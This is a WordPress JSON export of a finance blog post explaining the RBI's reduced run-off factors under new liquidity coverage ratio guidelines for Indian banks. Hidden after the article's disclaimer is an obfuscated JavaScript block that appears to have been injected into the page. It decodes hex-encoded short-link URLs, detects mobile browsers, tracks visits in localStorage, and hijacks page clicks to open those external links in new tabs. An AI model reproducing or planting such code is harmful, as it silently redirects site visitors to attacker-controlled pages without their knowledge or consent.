{"id":12196,"date":"2025-04-22T11:21:55","date_gmt":"2025-04-22T11:21:55","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=12196"},"modified":"2025-04-22T11:21:55","modified_gmt":"2025-04-22T11:21:55","slug":"liquidity-coverage-guidelines","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/","title":{"rendered":"Big Relief for Banks &#8211; RBI&#8217;s New Liquidity Coverage Guidelines"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#What_is_a_Run-off_factor_and_what_are_the_changes\" >What is a Run-off factor, and what are the changes?&nbsp;<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#New_Norms_for_Wholesale_Deposits\" >New Norms for Wholesale Deposits<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#Impact_of_the_New_Liquidity_Coverage_Guidelines\" >Impact of the New Liquidity Coverage Guidelines<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Big Relief for Banks &#8211; RBI&#8217;s New Liquidity Coverage Guidelines<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A big relief has come for the banking sector as the RBI announced the final guidelines for <strong>liquidity coverage ratio<\/strong> (LCR) on Monday, 21 April 2025. Now the banks have to set aside a lower stock of <strong>liquid assets,<\/strong> that is, the <strong>run-off factor <\/strong>on <strong>retail deposits, <\/strong>which has<strong> <\/strong>been reduced<strong> <\/strong>from 10% to 7.5% as per the new <strong>liquidity coverage guidelines<\/strong>.<strong>&nbsp;<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-is-a-run-off-factor-and-what-are-the-changes-nbsp\"><span class=\"ez-toc-section\" id=\"What_is_a_Run-off_factor_and_what_are_the_changes\"><\/span>What is a Run-off factor, and what are the changes?&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Earlier in June 2024, the RBI drafted a guideline where the <strong>run-off factor <\/strong>was proposed to be 10% on stable deposits and 15% on less stable deposits. <strong>Run-off factor <\/strong>here means in the banking industry, the changes of people suddenly withdrawing money from their accounts, which the bank couldn\u2019t see coming.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now the final guidelines say, the <strong>run-off factor on stable deposits<\/strong> will be 7.5% and 12.5% for the <strong>less stable deposits<\/strong> instead of 10% and 15% respectively, mentioned in the <strong>draft guidelines<\/strong>. So, this has boosted the banks sentiment.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, basically the 5% extra to be levied as per the draft guidelines, has been reduced to 2.5% for the <strong>interest and mobile banking-enabled deposits (IMB)<\/strong>.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-new-norms-for-wholesale-deposits\"><span class=\"ez-toc-section\" id=\"New_Norms_for_Wholesale_Deposits\"><\/span>New Norms for Wholesale Deposits<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">While the above run-off factor is for the <strong>retail deposits<\/strong>, here are the changes made for the wholesale deposits.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Other Legal Entities\u2019 Deposits such as charitable foundations, LLPs, proprietorship businesses and others will attract 40% run-off factor against the 100% run-off factor levied earlier.\u00a0<\/li>\n\n\n\n<li>Corporate deposits will be attracting a 40% run-off factor as it is doing now<\/li>\n\n\n\n<li>Financial institutions such as IREDA, PFC will continue 100 run-offs as they need to be fully backed by liquid assets<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-impact-of-the-new-liquidity-coverage-guidelines\"><span class=\"ez-toc-section\" id=\"Impact_of_the_New_Liquidity_Coverage_Guidelines\"><\/span>Impact of the New Liquidity Coverage Guidelines<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The new <strong>liquidity coverage guidelines <\/strong>will help the banks by reducing the additional liquid cash\/assets the banks need to hold. While the IMB-enabled depositors are expected to be more prone to withdrawing their deposits, the overall liquidity buffer reduction can help the banks to grow further.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The banks will have more funds to offer more credit, which can earn them revenue via interest earnings. This in turn can boost the performance of the bank and thus help the investors earn higher returns.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.cnbctv18.com\/business\/finance\/rbi-new-lcr-rules-banks-impact-what-changes-april-2026-explainer-19592327.htm\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">CNBC TV18<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/strong>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>A big relief has come for the banking sector as the RBI announced the final guidelines for liquidity coverage ratio (LCR) on Monday, 21 April 2025. Now the banks have to set aside a lower stock of liquid assets, that is, the run-off factor on retail deposits, which has been reduced from 10% to 7.5% &hellip; <a href=\"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Big Relief for Banks &#8211; RBI&#8217;s New Liquidity Coverage Guidelines&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":12207,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[3231,1082],"tags":[7345,7342,7340,7344,7341,7347,7343,7346],"class_list":["post-12196","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-banking","category-latest-news","tag-draft-guidelines","tag-liquid-assets","tag-liquidity-coverage-guidelines","tag-liquidity-coverage-ratio","tag-liquidity-coverage-ratio-rbi-guidelines","tag-liquidity-in-stock-market","tag-retail-deposits","tag-run-off-factor"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>RBI Announced New Liquidity Coverage Guidelines to Boost Banks<\/title>\n<meta name=\"description\" content=\"RBI announced final liquidity coverage guidelines to reduce the run-off factor on retail deposits via IMB. This has come as a big relief for the banking sector.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"RBI Announced New Liquidity Coverage Guidelines to Boost Banks\" \/>\n<meta property=\"og:description\" content=\"RBI announced final liquidity coverage guidelines to reduce the run-off factor on retail deposits via IMB. This has come as a big relief for the banking sector.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-22T11:21:55+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/RBI-New-Liquidity-Coverage-Guidelines.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"RBI Announced New Liquidity Coverage Guidelines to Boost Banks\" \/>\n<meta name=\"twitter:description\" content=\"RBI announced final liquidity coverage guidelines to reduce the run-off factor on retail deposits via IMB. This has come as a big relief for the banking sector.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/RBI-New-Liquidity-Coverage-Guidelines.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Big Relief for Banks &#8211; RBI&#8217;s New Liquidity Coverage Guidelines\",\"datePublished\":\"2025-04-22T11:21:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/\"},\"wordCount\":386,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/04\\\/RBI-New-Liquidity-Coverage-Guidelines.jpg\",\"keywords\":[\"draft guidelines\",\"liquid assets\",\"liquidity coverage guidelines\",\"liquidity coverage ratio\",\"liquidity coverage ratio rbi guidelines\",\"liquidity in stock market\",\"retail deposits\",\"run-off factor\"],\"articleSection\":[\"Banking\",\"News\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/\",\"name\":\"RBI Announced New Liquidity Coverage Guidelines to Boost Banks\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/04\\\/RBI-New-Liquidity-Coverage-Guidelines.jpg\",\"datePublished\":\"2025-04-22T11:21:55+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"RBI announced final liquidity coverage guidelines to reduce the run-off factor on retail deposits via IMB. This has come as a big relief for the banking sector.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/04\\\/RBI-New-Liquidity-Coverage-Guidelines.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/04\\\/RBI-New-Liquidity-Coverage-Guidelines.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"RBI New Liquidity Coverage Guidelines\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/liquidity-coverage-guidelines\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"News\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/latest-news\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Big Relief for Banks &#8211; RBI&#8217;s New Liquidity Coverage Guidelines\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"RBI Announced New Liquidity Coverage Guidelines to Boost Banks","description":"RBI announced final liquidity coverage guidelines to reduce the run-off factor on retail deposits via IMB. This has come as a big relief for the banking sector.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/","og_locale":"en_US","og_type":"article","og_title":"RBI Announced New Liquidity Coverage Guidelines to Boost Banks","og_description":"RBI announced final liquidity coverage guidelines to reduce the run-off factor on retail deposits via IMB. This has come as a big relief for the banking sector.","og_url":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2025-04-22T11:21:55+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/RBI-New-Liquidity-Coverage-Guidelines.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_title":"RBI Announced New Liquidity Coverage Guidelines to Boost Banks","twitter_description":"RBI announced final liquidity coverage guidelines to reduce the run-off factor on retail deposits via IMB. This has come as a big relief for the banking sector.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/RBI-New-Liquidity-Coverage-Guidelines.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"Big Relief for Banks &#8211; RBI&#8217;s New Liquidity Coverage Guidelines","datePublished":"2025-04-22T11:21:55+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/"},"wordCount":386,"image":{"@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/RBI-New-Liquidity-Coverage-Guidelines.jpg","keywords":["draft guidelines","liquid assets","liquidity coverage guidelines","liquidity coverage ratio","liquidity coverage ratio rbi guidelines","liquidity in stock market","retail deposits","run-off factor"],"articleSection":["Banking","News"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/","url":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/","name":"RBI Announced New Liquidity Coverage Guidelines to Boost 